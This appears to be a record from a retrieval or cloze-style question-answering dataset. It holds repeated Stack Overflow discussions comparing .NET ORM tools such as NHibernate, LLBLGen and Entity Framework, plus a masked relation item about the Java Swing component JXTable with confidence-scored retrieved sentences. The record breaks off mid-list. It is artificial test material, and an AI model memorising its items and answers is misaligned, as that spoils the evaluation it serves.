Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : SignumFramework has a full LINQ Provider http : www.signumframework.com DatabaseQuery.ashx and it s based on entitiy-driven approach . The other side is that it s fine just for new developments not for existing databases .", "Question : What is the best tool for generating Entity Class and or hbm files and or sql script for NHibernate . This list below is from http : www.hibernate.org 365.html which is the best any why Moregen Free Open Source GPL O R Generator that can merge into existing Visual Studio Projects . Also merges changes to generated classes . NConstruct Lite Free tool for generating NHibernate O R mapping source code . Different databases support Microsoft SQL Server Oracle Access . GENNIT NHibernate Code Generator Free Commercial Web 2.0 code generation of NHibernate code using WYSIWYG online UML designer . GenWise Studio with NHibernate Template Commercial product Imports your existing database and generates all XML and Classes including factories . It can also generate a asp.net web-application for your NHibernate BO-Layer automatically . HQL Analyzer and hbm.xml GUI Editor .. . ObjectMapper by Mats Helander is a mapping GUI with NHibernate support .. . MyGeneration is a template-based code generator GUI . Its template library includes templates for generating mapping files and classes from a database . AndroMDA is an open-source code generation framework that uses Model Driven Architecture MDA to transform UML models into deployable components . It supports generation of data-access layers that use NHibernate as their persistence framework . CodeSmith Template for NH .. . NHibernate Helper Kit is a VS2005 add-in to generate classes and mapping files . NConstruct - Intelligent Software Factory Commercial product Full .NET C source code generation for all tiers of the information system trough simple wizard procedure . O R mapping based on NHibernate . For both WinForms and ASP.NET 2.0 . .. . Answer : A commercial tool to do this is Visual NHibernate http : www.slyce.com . Please note that I work for Slyce Software the company that creates Visual NHibernate . .. . .. . Update : Visual NHibernate has now been open-sourced . See : the announcement https : groups.google.com d topic nhibernate-development RRjdjFjOmbs discussion Comment : Single developer license 179 if alone 299 if working for a company", "Question : What is the best tool for generating Entity Class and or hbm files and or sql script for NHibernate . This list below is from http : www.hibernate.org 365.html which is the best any why Moregen Free Open Source GPL O R Generator that can merge into existing Visual Studio Projects . Also merges changes to generated classes . NConstruct Lite Free tool for generating NHibernate O R mapping source code . Different databases support Microsoft SQL Server Oracle Access . GENNIT NHibernate Code Generator Free Commercial Web 2.0 code generation of NHibernate code using WYSIWYG online UML designer . GenWise Studio with NHibernate Template Commercial product Imports your existing database and generates all XML and Classes including factories . It can also generate a asp.net web-application for your NHibernate BO-Layer automatically . HQL Analyzer and hbm.xml GUI Editor .. . ObjectMapper by Mats Helander is a mapping GUI with NHibernate support .. . MyGeneration is a template-based code generator GUI . Its template library includes templates for generating mapping files and classes from a database . AndroMDA is an open-source code generation framework that uses Model Driven Architecture MDA to transform UML models into deployable components . It supports generation of data-access layers that use NHibernate as their persistence framework . CodeSmith Template for NH .. . NHibernate Helper Kit is a VS2005 add-in to generate classes and mapping files . NConstruct - Intelligent Software Factory Commercial product Full .NET C source code generation for all tiers of the information system trough simple wizard procedure . O R mapping based on NHibernate . For both WinForms and ASP.NET 2.0 . .. . Answer : There a new 2.0 Beta 2 release available with lots of new features and support for fluent-nhibernate one-to-many and many-to-many mapping . http : www.codeplex.com Wikipage ProjectName nmg Comment : It works Free and open-source Comment : lots of wrinkles in it yet. . it could use a little dev love .", "Question : A lot has been talked about Entity Framework first version on the web also on stackoverflow and it is clear that it was not a good choice when we already have better alternative like NHibernate . But I can t find a good comparison of Entity Framework 4 and NHibernate . We can say that today NHibernate is the leader among all .NET ORMs but can we expect Entity Framework 4 to displace NHibernate from this position . I think if Microsoft has really injected very good features in EF4 it can give good competition to NHibernate as it has Visual Studio integration easier to work with and preference is always given to MS products in most shops . Comment : I d like an update of this comparison . Has much happened since 09 .. . Answer : My take on this is that EF4.0 has came a long way since 1.0 and is catching up to Nhibernate in functionality but it s not all there yet . However it is Microsoft out of the box and do 100 of what 95 of applications need it to do . However NHibernate has been doing the same thing for years . Come version 5.0 or 6.0 may catch up or even surpass NHibernate . Here is my advice -- if you have time to learn both then do it . There are several reasons to choose one over the other . If you are writing code for a corporation it is realistic to expect to be able employees who would be familiar with EF as it s in all the books and what kids learn in college . If EF will meet your requirements think about this one long and hard before just saying yes then it s a perfectly fine solution for now and in a few years it may ok most likely will surpass NHibernate . NHibernate is a very mature product with a few years on EF and will most likely do everything you would ever want to do and then some . It has been the best ORM for a while now and a lot of people use it . Comment : good answer. . +1", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : I ve been using LlblGenPro since 2003 . It is a great product reasonably priced wonderfull support through the solutions design website . Frans the main developer issues patches as needed and new full installs frequently so that clients who are experiencing issues can take advantage of fixes quickly . The current version supports Linq along with its traditional access infrastructure . Version 3 is in development but probably won t be released until 2010 . LlbGen starts by reading your current database-schema s which may save time in developing the db to object mapping compared to nHibernate . There are things I d like improved with LlblGen but I m a very happy long time user and their support can t be beat . Comment : nice helpfull comment m4bwav - care to explain why", "Question : What is the best tool for generating Entity Class and or hbm files and or sql script for NHibernate . This list below is from http : www.hibernate.org 365.html which is the best any why Moregen Free Open Source GPL O R Generator that can merge into existing Visual Studio Projects . Also merges changes to generated classes . NConstruct Lite Free tool for generating NHibernate O R mapping source code . Different databases support Microsoft SQL Server Oracle Access . GENNIT NHibernate Code Generator Free Commercial Web 2.0 code generation of NHibernate code using WYSIWYG online UML designer . GenWise Studio with NHibernate Template Commercial product Imports your existing database and generates all XML and Classes including factories . It can also generate a asp.net web-application for your NHibernate BO-Layer automatically . HQL Analyzer and hbm.xml GUI Editor .. . ObjectMapper by Mats Helander is a mapping GUI with NHibernate support .. . MyGeneration is a template-based code generator GUI . Its template library includes templates for generating mapping files and classes from a database . AndroMDA is an open-source code generation framework that uses Model Driven Architecture MDA to transform UML models into deployable components . It supports generation of data-access layers that use NHibernate as their persistence framework . CodeSmith Template for NH .. . NHibernate Helper Kit is a VS2005 add-in to generate classes and mapping files . NConstruct - Intelligent Software Factory Commercial product Full .NET C source code generation for all tiers of the information system trough simple wizard procedure . O R mapping based on NHibernate . For both WinForms and ASP.NET 2.0 . .. . Answer : You should take a look at Devart s NHibernate Designer : Entity Developer for NHibernate http : www.devart.com entitydeveloper nhibernate-designer.html .. . .. . Note : Devart Company .", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : It depends a bit on what you want : .. . .. . Do you want to create your own Domain classes which you do not have to inherit from some by the ORM defined base-class or interface then NHibernate is the preferred solution . Do you want to auto-generate entity-classes based on your database-model then you should go for LLBLGen . Comment : The database will drive the domain . We are essentially in the data-warehouse business and the core of our business is to load data compare data based upon custom rules set up by our customers and then provide reporting to our customers . It sounds from your answer that LLBLGen Pro would work best .", "Question : What is the best tool for generating Entity Class and or hbm files and or sql script for NHibernate . This list below is from http : www.hibernate.org 365.html which is the best any why Moregen Free Open Source GPL O R Generator that can merge into existing Visual Studio Projects . Also merges changes to generated classes . NConstruct Lite Free tool for generating NHibernate O R mapping source code . Different databases support Microsoft SQL Server Oracle Access . GENNIT NHibernate Code Generator Free Commercial Web 2.0 code generation of NHibernate code using WYSIWYG online UML designer . GenWise Studio with NHibernate Template Commercial product Imports your existing database and generates all XML and Classes including factories . It can also generate a asp.net web-application for your NHibernate BO-Layer automatically . HQL Analyzer and hbm.xml GUI Editor .. . ObjectMapper by Mats Helander is a mapping GUI with NHibernate support .. . MyGeneration is a template-based code generator GUI . Its template library includes templates for generating mapping files and classes from a database . AndroMDA is an open-source code generation framework that uses Model Driven Architecture MDA to transform UML models into deployable components . It supports generation of data-access layers that use NHibernate as their persistence framework . CodeSmith Template for NH .. . NHibernate Helper Kit is a VS2005 add-in to generate classes and mapping files . NConstruct - Intelligent Software Factory Commercial product Full .NET C source code generation for all tiers of the information system trough simple wizard procedure . O R mapping based on NHibernate . For both WinForms and ASP.NET 2.0 . .. . Answer : You can try out Mindscape NHibernate Designer http : www.mindscape.co.nz products nhdesigner getting-started which installs into Visual Studio 2010 . Although I havn t yet tried it . Comment : Single developer license 99", "Question : What is the best tool for generating Entity Class and or hbm files and or sql script for NHibernate . This list below is from http : www.hibernate.org 365.html which is the best any why Moregen Free Open Source GPL O R Generator that can merge into existing Visual Studio Projects . Also merges changes to generated classes . NConstruct Lite Free tool for generating NHibernate O R mapping source code . Different databases support Microsoft SQL Server Oracle Access . GENNIT NHibernate Code Generator Free Commercial Web 2.0 code generation of NHibernate code using WYSIWYG online UML designer . GenWise Studio with NHibernate Template Commercial product Imports your existing database and generates all XML and Classes including factories . It can also generate a asp.net web-application for your NHibernate BO-Layer automatically . HQL Analyzer and hbm.xml GUI Editor .. . ObjectMapper by Mats Helander is a mapping GUI with NHibernate support .. . MyGeneration is a template-based code generator GUI . Its template library includes templates for generating mapping files and classes from a database . AndroMDA is an open-source code generation framework that uses Model Driven Architecture MDA to transform UML models into deployable components . It supports generation of data-access layers that use NHibernate as their persistence framework . CodeSmith Template for NH .. . NHibernate Helper Kit is a VS2005 add-in to generate classes and mapping files . NConstruct - Intelligent Software Factory Commercial product Full .NET C source code generation for all tiers of the information system trough simple wizard procedure . O R mapping based on NHibernate . For both WinForms and ASP.NET 2.0 . .. . Answer : Yes writing hbm files is very simple . However it is a huge pain when you have a large DB .", "Question : What is the best tool for generating Entity Class and or hbm files and or sql script for NHibernate . This list below is from http : www.hibernate.org 365.html which is the best any why Moregen Free Open Source GPL O R Generator that can merge into existing Visual Studio Projects . Also merges changes to generated classes . NConstruct Lite Free tool for generating NHibernate O R mapping source code . Different databases support Microsoft SQL Server Oracle Access . GENNIT NHibernate Code Generator Free Commercial Web 2.0 code generation of NHibernate code using WYSIWYG online UML designer . GenWise Studio with NHibernate Template Commercial product Imports your existing database and generates all XML and Classes including factories . It can also generate a asp.net web-application for your NHibernate BO-Layer automatically . HQL Analyzer and hbm.xml GUI Editor .. . ObjectMapper by Mats Helander is a mapping GUI with NHibernate support .. . MyGeneration is a template-based code generator GUI . Its template library includes templates for generating mapping files and classes from a database . AndroMDA is an open-source code generation framework that uses Model Driven Architecture MDA to transform UML models into deployable components . It supports generation of data-access layers that use NHibernate as their persistence framework . CodeSmith Template for NH .. . NHibernate Helper Kit is a VS2005 add-in to generate classes and mapping files . NConstruct - Intelligent Software Factory Commercial product Full .NET C source code generation for all tiers of the information system trough simple wizard procedure . O R mapping based on NHibernate . For both WinForms and ASP.NET 2.0 . .. . Answer : I tried both NConstruct lite and codesmith . I needed to get the object-model from an existing database for an existing asp.net project written in VB this is my experience : .. . .. . codesmith cons : .. . .. . does not detect inheritance between tables .. . does not map database views .. . complex usage .. . .. . codesmith pros : .. . .. . generates c and VB .. . support for a lot of DB engines including PostgreSQL .. . Visual Studio integration .. . .. . NConstruct cons : .. . .. . does not generate VB only c .. . few DB engines just SQL-Server Oracle and MS-Access .. . .. . NConstruct pros : .. . .. . maps for views .. . autodetects some inheritance for 1-1 relations .. . simple .. . .. . In my case NConstruct did about 60 of the work for me . Comment : Single developer licenses Codesmit 299 and NConstruct 198", "Question : During my apprenticeship I have used NHibernate http : nhibernate.org for some smaller projects which I mostly coded and designed on my own . Now before starting some bigger project the discussion arose how to design data-access and whether or not to use an ORM layer . As I am still in my apprenticeship and still consider myself a beginner in enterprise programming I did not really try to push in my opinion which is that using an object relational mapper to the database can ease development quite a lot . The other coders in the development team are much more experienced than me so I think I will just do what they say . : - .. . .. . However I do not completely understand two of the main reasons for not using NHibernate or a similar project : .. . .. . 1 . One can just build one s own data-access objects with SQL queries and copy those queries out of Microsoft SQL Server Management Studio . 2 . Debugging an ORM can be hard . So of course I could just build my data-access-layer with a lot of SELECT s etc but here I miss the advantage of automatic joins lazy-loading proxy classes and a lower maintenance effort if a table gets a new column or a column gets renamed . Updating numerous SELECT INSERT and UPDATE queries vs . updating the mapping config and possibly refactoring the business classes and DTOs . Also using NHibernate you can run into unforeseen problems if you do not know the framework very well . That could be for example trusting the Table.hbm.xml where you set a string s length to be automatically validated . However I can also imagine similar bugs in a simple SqlConnection query based data-access-layer . Finally are those arguments mentioned above really a good reason not to utilise an ORM for a non-trivial database based enterprise application Are there probably other arguments they I might have missed I should probably add that I think this is like the first big .NET C based application which will require teamwork . Good practices which are seen as pretty normal on Stack Overflow such as unit-testing or continuous-integration are non-existing here up to now . .. . Answer : First off - using an ORM will not make your code any easier to test nor will it necessarily provide any advantages in a Continuous Integration scenerio . In my experience whilst using an ORM can increase the speed of development the biggest issues you need to address are : .. . .. . 1 . Testing your code .. . 2 . Maintaining your code .. . .. . The solutions to these are : .. . .. . 1 . Make your code testable using SOLID http : www.lostechies.com blogs chad myers archive 2008 03 07 pablo-s-topic-of-the-month-march-solid-principles.aspx principles .. . 2 . Write automated-tests for as much of the code as possible .. . 3 . Run the automated-tests as often as possible .. . .. . Coming to your question the two objections you list seem more like ignorance than anything else . Not being able to write SELECT queries by hand which I presume is why the copy-paste is needed seems to indicate that there s a urgent need for some SQL training . There are two reasons why I d not use an ORM : .. . .. . 1 . It is strictly forbidden by the company s policy in which case I d go work somewhere else .. . 2 . The project is extremely data intensive and using vendor specific solutions like BulkInsert makes more sense . The usual rebuffs about ORMs NHibernate in particular are : .. . .. . 1 . Speed .. . .. . There is no reason why using an ORM would be any slower than hand coded Data Access . In fact because of the caching and optimisations built into it it can be quicker . A good ORM will produce a repeatable set of queries for which you can optimise your schema . A good ORM will also allow efficient retrieval of associated data using various fetching strategies . 2 . Complexity .. . .. . With regards to complexity using an ORM means less code which generally means less complexity . Many people using hand-written or code generated data-access find themselves writing their own framework over low-level data-access libraries like writing helper methods for ADO.Net . These equate to more complexity and worse yet they re rarely well documented or well tested . If you are looking specifically at NHibernate then tools like Fluent NHibernate and Linq To NHibernate also soften the learning curve . The thing that gets me about the whole ORM debate is that the same people who claim that using an ORM will be too hard slow whatever are the very same people who are more than happy using Linq To Sql or Typed Datasets . Whilst the Linq To Sql is a big step in the right direction it s still light years behind where some of the open-source ORMs are . However the frameworks for both Typed Datasets and for Linq To Sql is still hugely complex and using them to go too far of the Table Class + basic CRUD is stupidly difficult . My advice is that if at the end of the day you can t get an ORM then make sure that your data-access is separated from the rest of the code and that you you follow the Gang Of Four s advice of coding to an interface . Also get a Dependancy Injection framework to do the wiring up . How s that for a rant Comment : @R zvan thanks .", "Question : A lot has been talked about Entity Framework first version on the web also on stackoverflow and it is clear that it was not a good choice when we already have better alternative like NHibernate . But I can t find a good comparison of Entity Framework 4 and NHibernate . We can say that today NHibernate is the leader among all .NET ORMs but can we expect Entity Framework 4 to displace NHibernate from this position . I think if Microsoft has really injected very good features in EF4 it can give good competition to NHibernate as it has Visual Studio integration easier to work with and preference is always given to MS products in most shops . Comment : I d like an update of this comparison . Has much happened since 09 .. . Answer : EF4 has an out-the-box answer with regard to n-tier development in self-tracking entities . Nobody has released comparable code for NHib . NHib has-many features that have not been mentioned as being part of EF4 . These include the second-level cache integration . It also has greater flexibility in inheritance mapping better integration with stored procs database functions custom SQL triggers support for formula properties and so on . IMO it s basically just more mature as an ORM . Comment : +1 You re right . NH is just mature . EF will catch up by the end of the year . Version 4.0 has already made a dramatic entrance . Give it some time and it ll be bullet-proof by mid 2011 . Comment : -1 For EF4 has an out-the-box answer with regard to n-tier development in self-tracking entities . Nobody has released comparable code for NHib . There is ISession.Merge in NHibernate which is a lot better then Self-Tracking entities for N-Tier developement for many reasons . Comment : @Alex - In what way is NHibernate an out of the box solution Just to clarify Out of the box http : en.wikipedia.org wiki Out of the box means that it works with a vanilla install of Visual Studio . That s an unjustified -1 right there . Comment : @DoctaJonez - The way I read it Alex was contesting the idea that NH has nothing comparable to self-tracking entities not the part about it being out of the box . Comment : Actually I have discovered that EF4 has more flexible inheritance mapping . For instance you can use 2 tables TPT as base-class + level 1 class and add discriminator to level 1 table allowing spliting to level 2 classes . In NH discriminator can only be defined on base-class .", "Question : Hi I seem to be at an ORM Tool crossroad and would like some advice of people who have faced a similar challenge . In the past I have been using CodeSmith with NetTiers Templates to generate my DAL all has been quite good however I have decided to drop this for one reason or another . So I am at a crossroads and have found the following : - .. . .. . 1 . I have looked at PLINQO Linq to SQL which seems to do a grand job however with Microsoft uncertain of Linq to SQL this may not be a good choice . 2 . Linq to Entities - This is still in its infancy and I may be wrong but people are complaining about the bloat and how Stored Procedures .. . 3 . I have looked at nHibernate this maybe the best choice but it seems to be a steep learning curve .. . 4 . Ditto for LLblgen .. . 5 . Subsonic - Not sure about this 6 . Stick with the tried and tested NetTiers forget the bloat forget that you are forced to use the enterprise-library forget the dynamic sql it creates forget that their is almost no activity on the forums forget this and use it I already own Codesmith and do not wish to purchase anything else the code generated must work in Medium Trust mode.. . There may be others I have missed . I am looking for answers that explain why the ORM Tool is worth looking at . Thanks Richard Comment : See this : stackoverflow.com questions 567304 http : stackoverflow.com questions 567304 which-orm-tool-should-i-use-for-net-development Comment : Could you give more details on your project and requirements There are a lot of aspects ORM choice can depend on . For example are you going to start new project or you need to support legacy database Comment : @Alex - Will be new projects however I can see that I may have the need to convert some old projects.. . ASP.NET 2.0 + Must run without problems in Medium Trust mode mosso cloud-hosting Something that does not generate endless bloat .. . Answer : For reasons to use an ORM here s a link-to a blog post by Glenn Block http : blogs.msdn.com gblock archive 2006 10 26 ten-advantages-of-an-orm.aspx which says it all really . As for my experience just over a year ago I was looking to use an ORM and I chose NHibernate . Persistance to me is a solved problem beyond some form of mapping from my domain-model to my relational data it is something I don t have to worry about anymore . I looked at Linq To SQL but it just didn t give me enough control over how data was mapped to my objects and the Entity Framework was no where near mature enough for my liking . Another major project some of my team were working on used NetTiers and CodeSmith and like you say the bloat code generation and the sheer amount of it made me feel a bit quesy . In the end I chose NHibernate because to me it is one of the most mature ORMs out there and it provided features that not only would support a finely grained object-model but it has built-in querying facilities and it inherently addresses other performance concerns such as caching . Yes I will admit that the learning curve is pretty steep but if you invest the time the benefits you will get out of it are huge . The blogs of Ayende Rahien http : ayende.com Blog and Fabio Maulo http : fabiomaulo.blogspot.com are a mine of information about NHibernate . There is some LINQ support for NHibernate via this LINQ provider http : sourceforge.net projects nhcontrib files but Steve Strong http : blogs.imeta.co.uk sstrong is currently putting together features which will provide full LINQ support in NHibernate . So it s all go for NHibernate but at the end of the day it depends what you are most comfortable with . Comment : Your link-to a blog post by Glenn Block actually links to a blog post by Bill Karwin . It s a great summary of reasons to use ORM . Comment : Changed now to the right blog post . Thanks for the heads up .", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : If you start from scratch you can use NHiberbate which has a solid background too . But we are using LLBLGen Pro in more than one project and it is very solid and orthogonal . It has a very good documentation too . NHibernate has a big community if we add Hibernate too but LLBLGen is a very mature product very helpful forum and very good documentation . What is the RDMS to be used We are using LLBLGen Pro with Oracle and it absolutely separates database specific and generic operations without problems . It has avoided Inner Platform Effect http : stackoverflow.com questions 294969 sql-one-foreign-key-references-primary-key-in-one-of-several-tables perfectly . Think about Oracle sequences and SQL Server Identity fields for example . It is not a problem with LLBLGen Pro . LLBLGen Pro is a very extensive code generator . It maps objects in the database to a database access layer as a project s that can easily be added to your solution . This has a very good advantage that can not be though of at the first sight : If a stored procedure or even a field changes removed you will notice the error at compile-time not run time . So if you already have a running database go with LLBLGen Pro . You can also add its data source components to Visual Studio if you are a drag-and-drop guy and easily bind the data . Some people find it useful for ASP.NET projects . One more important thing : Typed Lists : These are very useful to create data sources without changing any code in the database . So if you have some grids displaying data you can provide data without touching to database which becomes very safe in critical environments . So I would suggest LLBLGen Pro even though N Hibernate has more users .", "Question : What is the best tool for generating Entity Class and or hbm files and or sql script for NHibernate . This list below is from http : www.hibernate.org 365.html which is the best any why Moregen Free Open Source GPL O R Generator that can merge into existing Visual Studio Projects . Also merges changes to generated classes . NConstruct Lite Free tool for generating NHibernate O R mapping source code . Different databases support Microsoft SQL Server Oracle Access . GENNIT NHibernate Code Generator Free Commercial Web 2.0 code generation of NHibernate code using WYSIWYG online UML designer . GenWise Studio with NHibernate Template Commercial product Imports your existing database and generates all XML and Classes including factories . It can also generate a asp.net web-application for your NHibernate BO-Layer automatically . HQL Analyzer and hbm.xml GUI Editor .. . ObjectMapper by Mats Helander is a mapping GUI with NHibernate support .. . MyGeneration is a template-based code generator GUI . Its template library includes templates for generating mapping files and classes from a database . AndroMDA is an open-source code generation framework that uses Model Driven Architecture MDA to transform UML models into deployable components . It supports generation of data-access layers that use NHibernate as their persistence framework . CodeSmith Template for NH .. . NHibernate Helper Kit is a VS2005 add-in to generate classes and mapping files . NConstruct - Intelligent Software Factory Commercial product Full .NET C source code generation for all tiers of the information system trough simple wizard procedure . O R mapping based on NHibernate . For both WinForms and ASP.NET 2.0 . .. . Answer : I have heard some things about fluent but never used it so I can t say . Do you have your intellisense set up for the hbm files I just write my own xml files but I know that s not what you re looking for . What would you be looking for SQL scripts to do generate tables One of the beauties of NHibernate is its on the flay query generation so you don t have to create SP s for all your objects ." ] }
[ "yes-answer-long", "yes-answer-short" ]
mapper
UNK_RELATION
jxtable@java@43
jxtable -- an enhanced table component in @placeholder with support for general swingx sorting filtering rendering highlighting rollover and search functionality .
{ "confidence": [ 40.667667388916016, 38.34375, 38.02670669555664, 34.477264404296875, 34.203369140625, 33.61686706542969, 31.562862396240234, 31.326560974121094, 31.008373260498047, 29.730194091796875, 29.719650268554688, 29.547855377197266, 29.547855377197266, 29.18304443359375, 28.89929962158203, 28.877464294433594, 28.642438888549805, 28.540687561035156, 28.161075592041016, 28.074752807617188, 28.057037353515625, 27.878013610839844, 27.821117401123047, 27.5595703125, 27.449478149414062, 27.371883392333984, 26.78866958618164, 26.769840240478516, 26.473426818847656, 26.473426818847656, 26.34939193725586, 26.263710021972656, 26.263710021972656, 26.263710021972656, 26.263710021972656, 25.680496215820312, 25.499740600585938, 25.499740600585938, 25.266788482666016, 25.266788482666016, 25.266788482666016, 25.266788482666016, 25.266788482666016, 25.058746337890625, 24.834732055664062, 24.830284118652344, 24.718669891357422, 24.506603240966797, 24.259326934814453, 24.232723236083984, 24.158615112304688, 24.158615112304688, 24.158615112304688, 24.158615112304688, 24.158615112304688, 24.058639526367188, 24.038311004638672, 23.63233184814453, 23.63233184814453, 23.63233184814453, 23.63233184814453, 23.63233184814453, 23.63233184814453, 23.62823486328125, 23.565380096435547, 23.260953903198242, 23.163177490234375, 23.095191955566406, 22.99987030029297, 22.95046615600586, 22.95046615600586, 22.930137634277344, 22.930137634277344, 22.830440521240234, 22.59030532836914, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.524158477783203, 22.001476287841797, 21.770780563354492, 21.485374450683594, 21.454120635986328, 21.454120635986328, 21.454120635986328, 21.430727005004883, 21.430727005004883, 21.430727005004883, 21.430727005004883, 21.430727005004883, 21.430727005004883, 21.430727005004883 ], "content": [ "Note that this is not the same as JXTable in swingx project .", "GlazedLists sorting and filtering features are much more flexible than the one on JXTable .", "The JXTable from the SwingX project has a method to set a RowFilter directly on the JXTable see JXTable setRowFilter .", "I ve read that the JXTable has a built-in support to search the table in combination with JXSearchPanel or JXSearchField .", "But I found JXTable and it has methods for sorting and filtering and this how I want it to work : sorting and filtering must provide UI component and model just can hold data : .. . .. . But GlazedLists also provide SortedList decorator for EventList with Sorting and some filtering methods .", "It could be that on clicking the table header you start the JXTable sorting instead of the GlazedLists sorting.. .", "Just a note to ui sorting filtering : since jdk6 core supports sorting filtering on JTable SwingX since version 1.6 uses the same mechanism just better : -", "I m using a JXTable that contains a search functionality when I press CTRL+F .", "@Robin - wrong for JXTable as you know - SwingX way to apply visual decorations are Higlighters", "The thing is that I have created the JXTable with too many columns so I decided to let the user choose which column to display using the ColumnControlButton that comes by default with the JXTable in the SwingX library .", "I have a JXTable with custom table model .", "Maybe you have to disable the JXTable Sorting so it does not interfere with the GL sorting", "Did you try to switch of the sorting mechanism of the JXTable and then install the sorting mechanism of Glazed lists TableComparatorChooser", "way to handle this is through the client property of JTable component : .. . .. . For JXTable this should already be set though which indicates that the way your UI handling of the save functionality works does not include moving the focus away from the table .", "I have a custom table model whose data I want to edit in one JXTable but view-only in a second JXTable .", "In JXTable the property to set is the columnControl : basically it can be any component you like .", "Here s the link-to the Swingx bug ticket : SWINGX-1511 http : java.net jira browse SWINGX-1511", "When trying to use filtering its the same but the JXTable imho doesn t support a mechanism for this so you have to do this in your own way .", "Get the TableColumnExt http : download.java.net javadesktop swinglabs releases 0.8 docs api org jdesktop swingx table TableColumnExt.html for the relevant column from the JXTable http : download.java.net javadesktop swinglabs releases 0.8 docs api org jdesktop swingx JXTable.html and call setVisible on that .", "I am building a Swing UI for analysis data dealing with potentially hundreds of thousands of rows only a handful of columns and I would like to use a JXTable for visualization with filtering and sorting .", "Is there a way to define my own translation for this component or any other SwingX component by putting my own properties file in the classpath", "Also see this question http : stackoverflow.com questions 9532044 jxtable-column-sorting-changes-between-1-0-and-1-6", "I want to highlight cells in a org.jdesktop.swingx.JXTreeTable relative to the value inside like in the SwingX showcase under Highlighting Extended : .. . .. .", "If it is editable the rollover is never clickable .", "In JXTable the initActionsAndBindings method binds to specific actions such as value changed and only for the table .", "I m using the JXTable .", "That was a concious design decision back when sorting filtering was introduced into core .", "When the class type is not provided JXTable will end up sorting the column based on string values which are supplied by a ComponentProvider .", "for a JXTable never-ever subclass DefaultTableCellRenderer .", "I am using JxTable and not JTable .", "How you are sorting the table", "no that s not needed in JXTable", "I have a JXtable .", "Here is my JXtable code", "I have a jxtable .", "I want to create user views tables with sorting and filtering capabilities .", "Now I Am switching to 1 JXTable because there are some things a lot nicer in this table class .", "I have a JXTable that is created like this : .. . .. . The problem is that when it gets filled all the columns are squashed to fit into the table .", "I am having a interesting issue with the propeties of a JXtable .", "I am using JXTable to display a list of records .", "I use JXTable and JXTableHeader to display sortable tables .", "I have a jXTable that is linked to a MySQL database .", "I have a JXTable that holds data for a product listing .", "abuse the table events and just fire an event that your table model has been changed which will retrigger the sorting filtering .. . do not use the setRowFilter method and create your own TableRowSorter and fall back on the JDK API .", "Here s my usual code snippet for using a SortedList with a JXTable : .. . .. . What this does : .. . .. . turn on the column picker gadget on the upper right 